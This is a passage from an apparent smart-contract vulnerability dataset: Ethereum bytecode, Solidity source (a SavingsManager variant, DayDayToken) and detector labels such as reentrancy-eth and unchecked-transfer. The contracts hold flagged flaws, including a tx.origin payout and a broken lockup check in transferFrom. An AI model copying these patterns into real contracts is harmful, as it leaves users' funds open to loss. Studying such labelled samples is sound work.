e57611d4d61329d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611df057600080fd5b505afa158015611e04573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e2891906127c8565b81600181518110611e3c57611e3b61329d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611ea330601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611280565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f07959493929190612efb565b600060405180830381600087803b158015611f2157600080fd5b505af1158015611f35573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b600080831415611f6b5760009050611fcd565b60008284611f79919061309d565b9050828482611f88919061306c565b14611fc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fbf90612e20565b60405180910390fd5b809150505b92915050565b600061201583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612075565b905092915050565b8061202b5761202a6120d8565b5b61203684848461211b565b80612044576120436122e6565b5b50505050565b60008060006120576122fa565b9150915061206e8183611fd390919063ffffffff16565b9250505090565b600080831182906120bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120b39190612d5e565b60405180910390fd5b50600083856120cb919061306c565b9050809150509392505050565b6000600a541480156120ec57506000600b54145b156120f657612119565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b60008060008060008061212d87612359565b95509550955095509550955061218b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123c190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061222085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461240b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061226c81612469565b6122768483612526565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122d39190612ee0565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b600080600060085490506000670de0b6b3a7640000905061232e670de0b6b3a7640000600854611fd390919063ffffffff16565b82101561234c57600854670de0b6b3a7640000935093505050612355565b81819350935050505b9091565b60008060008060008060008060006123768a600a54600b54612560565b925092509250600061238661204a565b905060008060006123998e8787876125f6565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061240383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b03565b905092915050565b600080828461241a9190613016565b90508381101561245f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161245690612de0565b60405180910390fd5b8091505092915050565b600061247361204a565b9050600061248a8284611f5890919063ffffffff16565b90506124de81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461240b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61253b826008546123c190919063ffffffff16565b6008819055506125568160095461240b90919063ffffffff16565b6009819055505050565b60008060008061258c606461257e888a611f5890919063ffffffff16565b611fd390919063ffffffff16565b905060006125b660646125a8888b611f5890919063ffffffff16565b611fd390919063ffffffff16565b905060006125df826125d1858c6123c190919063ffffffff16565b6123c190919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061260f8589611f5890919063ffffffff16565b905060006126268689611f5890919063ffffffff16565b9050600061263d8789611f5890919063ffffffff16565b905060006126668261265885876123c190919063ffffffff16565b6123c190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061269261268d84612f95565b612f70565b905080838252602082019050828560208602820111156126b5576126b4613300565b5b60005b858110156126e557816126cb88826126ef565b8452602084019350602083019250506001810190506126b8565b5050509392505050565b6000813590506126fe816135ed565b92915050565b600081519050612713816135ed565b92915050565b600082601f83011261272e5761272d6132fb565b5b813561273e84826020860161267f565b91505092915050565b60008135905061275681613604565b92915050565b60008151905061276b81613604565b92915050565b6000813590506127808161361b565b92915050565b6000815190506127958161361b565b92915050565b6000602082840312156127b1576127b061330a565b5b60006127bf848285016126ef565b91505092915050565b6000602082840312156127de576127dd61330a565b5b60006127ec84828501612704565b91505092915050565b6000806040838503121561280c5761280b61330a565b5b600061281a858286016126ef565b925050602061282b858286016126ef565b9150509250929050565b60008060006060848603121561284e5761284d61330a565b5b600061285c868287016126ef565b935050602061286d868287016126ef565b925050604061287e86828701612771565b9150509250925092565b6000806040838503121561289f5761289e61330a565b5b60006128ad858286016126ef565b92505060206128be85828601612771565b9150509250929050565b6000602082840312156128de576128dd61330a565b5b600082013567ffffffffffffffff8111156128fc576128fb613305565b5b61290884828501612719565b91505092915050565b6000602082840312156129275761292661330a565b5b600061293584828501612747565b91505092915050565b6000602082840312156129545761295361330a565b5b60006129628482850161275c565b91505092915050565b6000602082840312156129815761298061330a565b5b600061298f84828501612771565b91505092915050565b6000806000606084860312156129b1576129b061330a565b5b60006129bf86828701612786565b93505060206129d086828701612786565b92505060406129e186828701612786565b9150509250925092565b60006129f78383612a03565b60208301905092915050565b612a0c8161312b565b82525050565b612a1b8161312b565b82525050565b6000612a2c82612fd1565b612a368185612ff4565b9350612a4183612fc1565b8060005b83811015612a72578151612a5988826129eb565b9750612a6483612fe7565b925050600181019050612a45565b5085935050505092915050565b612a888161313d565b82525050565b612a9781613180565b82525050565b6000612aa882612fdc565b612ab28185613005565b9350612ac2818560208601613192565b612acb8161330f565b840191505092915050565b6000612ae3602383613005565b9150612aee82613320565b604082019050919050565b6000612b06602a83613005565b9150612b118261336f565b604082019050919050565b6000612b29602283613005565b9150612b34826133be565b604082019050919050565b6000612b4c601b83613005565b9150612b578261340d565b602082019050919050565b6000612b6f601d83613005565b9150612b7a82613436565b602082019050919050565b6000612b92602183613005565b9150612b9d8261345f565b604082019050919050565b6000612bb5602083613005565b9150612bc0826134ae565b602082019050919050565b6000612bd8602983613005565b9150612be3826134d7565b604082019050919050565b6000612bfb602583613005565b9150612c0682613526565b604082019050919050565b6000612c1e602483613005565b9150612c2982613575565b604082019050919050565b6000612c41601783613005565b9150612c4c826135c4565b602082019050919050565b612c6081613169565b82525050565b612c6f81613173565b82525050565b6000602082019050612c8a6000830184612a12565b92915050565b6000604082019050612ca56000830185612a12565b612cb26020830184612a12565b9392505050565b6000604082019050612cce6000830185612a12565b612cdb6020830184612c57565b9392505050565b600060c082019050612cf76000830189612a12565b612d046020830188612c57565b612d116040830187612a8e565b612d1e6060830186612a8e565b612d2b6080830185612a12565b612d3860a0830184612c57565b979650505050505050565b6000602082019050612d586000830184612a7f565b92915050565b60006020820190508181036000830152612d788184612a9d565b905092915050565b60006020820190508181036000830152612d9981612ad6565b9050919050565b60006020820190508181036000830152612db981612af9565b9050919050565b60006020820190508181036000830152612dd981612b1c565b9050919050565b60006020820190508181036000830152612df981612b3f565b9050919050565b60006020820190508181036000830152612e1981612b62565b9050919050565b60006020820190508181036000830152612e3981612b85565b9050919050565b60006020820190508181036000830152612e5981612ba8565b9050919050565b60006020820190508181036000830152612e7981612bcb565b9050919050565b60006020820190508181036000830152612e9981612bee565b9050919050565b60006020820190508181036000830152612eb981612c11565b9050919050565b60006020820190508181036000830152612ed981612c34565b9050919050565b6000602082019050612ef56000830184612c57565b92915050565b600060a082019050612f106000830188612c57565b612f1d6020830187612a8e565b8181036040830152612f2f8186612a21565b9050612f3e6060830185612a12565b612f4b6080830184612c57565b9695505050505050565b6000602082019050612f6a6000830184612c66565b92915050565b6000612f7a612f8b565b9050612f8682826131c5565b919050565b6000604051905090565b600067ffffffffffffffff821115612fb057612faf6132cc565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061302182613169565b915061302c83613169565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130615761306061323f565b5b828201905092915050565b600061307782613169565b915061308283613169565b9250826130925761309161326e565b5b828204905092915050565b60006130a882613169565b91506130b383613169565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156130ec576130eb61323f565b5b828202905092915050565b600061310282613169565b915061310d83613169565b9250828210156131205761311f61323f565b5b828203905092915050565b600061313682613149565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061318b82613169565b9050919050565b60005b838110156131b0578082015181840152602081019050613195565b838111156131bf576000848401525b50505050565b6131ce8261330f565b810181811067ffffffffffffffff821117156131ed576131ec6132cc565b5b80604052505050565b600061320182613169565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132345761323361323f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6135f68161312b565b811461360157600080fd5b50565b61360d8161313d565b811461361857600080fd5b50565b61362481613169565b811461362f57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b8d0adad026cea8c009aa44bcd9f589bcc352f903bb2c375f9fb7647068063d164736f6c63430008060033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,186 |
0xe60e513527746a6c2d2b2c52060c6c42d313db94 | pragma solidity 0.5.16;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @title SavingsManager
* @author Stability Labs Pty. Ltd.
* @notice Savings Manager collects interest from mAssets and sends them to the
* corresponding Savings Contract, performing some validation in the process.
* @dev VERSION: 1.1
* DATE: 2020-07-29
*/
contract SavingsManager {
using SafeMath for uint256;
event LiquidatorDeposited(address indexed mAsset, uint256 amount);
// Time at which last collection was made
mapping(address => uint256) public lastPeriodStart;
mapping(address => uint256) public lastCollection;
mapping(address => uint256) public periodYield;
// Streaming liquidated tokens to SAVE
uint256 private constant DURATION = 7 days;
// Timestamp for current period finish
mapping(address => uint256) public rewardEnd;
mapping(address => uint256) public rewardRate;
/**
* @dev Allows the liquidator to deposit proceeds from iquidated gov tokens.
* Transfers proceeds on a second by second basis to the Savings Contract over 1 week.
* @param _mAsset The mAsset to transfer and distribute
* @param _liquidated Units of mAsset to distribute
*/
function depositLiquidation(address _mAsset, uint256 _liquidated)
external
{
// transfer liquidated mUSD to here
IERC20(_mAsset).transferFrom(msg.sender, address(this), _liquidated);
uint256 currentTime = now;
// Get remaining rewards
uint256 end = rewardEnd[_mAsset];
uint256 lastUpdate = lastCollection[_mAsset];
uint256 unclaimedSeconds = 0;
if(currentTime <= end || lastUpdate < end){
unclaimedSeconds = end.sub(lastUpdate);
}
uint256 leftover = unclaimedSeconds.mul(rewardRate[_mAsset]);
// Distribute reward per second over 7 days
rewardRate[_mAsset] = _liquidated.add(leftover).div(DURATION);
rewardEnd[_mAsset] = currentTime.add(DURATION);
// Reset pool data to enable lastCollection usage twice
lastPeriodStart[_mAsset] = currentTime;
lastCollection[_mAsset] = currentTime;
periodYield[_mAsset] = 0;
emit LiquidatorDeposited(_mAsset, _liquidated);
IERC20(_mAsset).transfer(tx.origin, _liquidated);
}
} | 0x608060405234801561001057600080fd5b50600436106100625760003560e01c8063221ca18c146100675780634fa369c41461009f578063691ef663146100cd578063882111fc146100f35780638f38512a14610119578063d176d5f71461013f575b600080fd5b61008d6004803603602081101561007d57600080fd5b50356001600160a01b0316610165565b60408051918252519081900360200190f35b6100cb600480360360408110156100b557600080fd5b506001600160a01b038135169060200135610177565b005b61008d600480360360208110156100e357600080fd5b50356001600160a01b03166103b4565b61008d6004803603602081101561010957600080fd5b50356001600160a01b03166103c6565b61008d6004803603602081101561012f57600080fd5b50356001600160a01b03166103d8565b61008d6004803603602081101561015557600080fd5b50356001600160a01b03166103ea565b60046020526000908152604090205481565b604080516323b872dd60e01b81523360048201523060248201526044810183905290516001600160a01b038416916323b872dd9160648083019260209291908290030181600087803b1580156101cc57600080fd5b505af11580156101e0573d6000803e3d6000fd5b505050506040513d60208110156101f657600080fd5b50506001600160a01b03821660009081526003602090815260408083205460019092528220544292828411158061022c57508282105b1561024457610241838363ffffffff6103fc16565b90505b6001600160a01b03861660009081526004602052604081205461026e90839063ffffffff61044716565b905061029362093a80610287888463ffffffff6104a016565b9063ffffffff6104fa16565b6001600160a01b0388166000908152600460205260409020556102bf8562093a8063ffffffff6104a016565b6001600160a01b0388166000818152600360209081526040808320949094558181528382208990556001815283822089905560028152838220919091558251898152925191927f2031d123851984662d738ba6c766d26c120f8030f44ee35ab4ba0a784f7c71a7929081900390910190a26040805163a9059cbb60e01b81523260048201526024810188905290516001600160a01b0389169163a9059cbb9160448083019260209291908290030181600087803b15801561037f57600080fd5b505af1158015610393573d6000803e3d6000fd5b505050506040513d60208110156103a957600080fd5b505050505050505050565b60006020819052908152604090205481565b60026020526000908152604090205481565b60036020526000908152604090205481565b60016020526000908152604090205481565b600061043e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061053c565b90505b92915050565b60008261045657506000610441565b8282028284828161046357fe5b041461043e5760405162461bcd60e51b81526004018080602001828103825260218152602001806106396021913960400191505060405180910390fd5b60008282018381101561043e576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600061043e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506105d3565b600081848411156105cb5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610590578181015183820152602001610578565b50505050905090810190601f1680156105bd5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600081836106225760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610590578181015183820152602001610578565b50600083858161062e57fe5b049594505050505056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a265627a7a72315820b9cb270e7cca623180fa4b56ff9ab841f41adbcb027d482a005ec6766610519264736f6c63430005100032 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}} | 10,187 |
0xcec8702d3f157c4f70d9bf594c0328da966fb531 | pragma solidity ^0.4.19;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
/// Total amount of tokens
uint256 public totalSupply;
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _amount) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success);
function approve(address _spender, uint256 _amount) public returns (bool success);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
//balance in each address account
mapping(address => uint256) balances;
address ownerWallet;
struct Lockup
{
uint256 lockupTime;
uint256 lockupAmount;
}
Lockup lockup;
mapping(address=>Lockup) lockupParticipants;
uint256 startTime;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _amount The amount to be transferred.
*/
function transfer(address _to, uint256 _amount) public returns (bool success) {
require(_to != address(0));
require(balances[msg.sender] >= _amount && _amount > 0
&& balances[_to].add(_amount) > balances[_to]);
if (lockupParticipants[msg.sender].lockupAmount>0)
{
uint timePassed = now - startTime;
if (timePassed < lockupParticipants[msg.sender].lockupTime)
{
require(balances[msg.sender].sub(_amount) >= lockupParticipants[msg.sender].lockupAmount);
}
}
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _amount uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) {
require(_to != address(0));
require(balances[_from] >= _amount);
require(allowed[_from][msg.sender] >= _amount);
require(_amount > 0 && balances[_to].add(_amount) > balances[_to]);
if (lockupParticipants[_from].lockupAmount>0)
{
uint timePassed = now - startTime;
if (timePassed < lockupParticipants[_from].lockupTime)
{
require(balances[msg.sender].sub(_amount) >= lockupParticipants[_from].lockupAmount);
}
}
balances[_from] = balances[_from].sub(_amount);
balances[_to] = balances[_to].add(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _amount The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _amount) public returns (bool success) {
allowed[msg.sender][_spender] = _amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken, Ownable {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public onlyOwner{
require(_value <= balances[ownerWallet]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[ownerWallet] = balances[ownerWallet].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(msg.sender, _value);
}
}
/**
* @title DayDay Token
* @dev Token representing DD.
*/
contract DayDayToken is BurnableToken {
string public name ;
string public symbol ;
uint8 public decimals = 2;
/**
*@dev users sending ether to this contract will be reverted. Any ether sent to the contract will be sent back to the caller
*/
function ()public payable {
revert();
}
/**
* @dev Constructor function to initialize the initial supply of token to the creator of the contract
*/
function DayDayToken(address wallet) public
{
owner = msg.sender;
ownerWallet = wallet;
totalSupply = 300000000000;
totalSupply = totalSupply.mul(10 ** uint256(decimals)); //Update total supply with the decimal amount
name = "DayDayToken";
symbol = "DD";
balances[wallet] = totalSupply;
startTime = now;
//Emitting transfer event since assigning all tokens to the creator also corresponds to the transfer of tokens to the creator
emit Transfer(address(0), msg.sender, totalSupply);
}
/**
*@dev helper method to get token details, name, symbol and totalSupply in one go
*/
function getTokenDetail() public view returns (string, string, uint256) {
return (name, symbol, totalSupply);
}
function lockTokensForAddress (address lockedAddress, uint lockupAmount, uint lockDays) public onlyOwner
{
lockupAmount = lockupAmount * 10 ** uint(decimals);
require(balances[msg.sender]>=lockupAmount);
balances[msg.sender] = balances[msg.sender].sub(lockupAmount);
balances[lockedAddress] = balances[lockedAddress].add(lockupAmount);
lockDays = lockDays * 1 days;
lockup = Lockup({lockupTime:lockDays,lockupAmount:lockupAmount * 10 ** uint256(decimals)});
lockupParticipants[lockedAddress] = lockup;
}
function unlockTokensForAddress (address lockedAddress) public onlyOwner
{
lockupParticipants[lockedAddress].lockupAmount = 0;
}
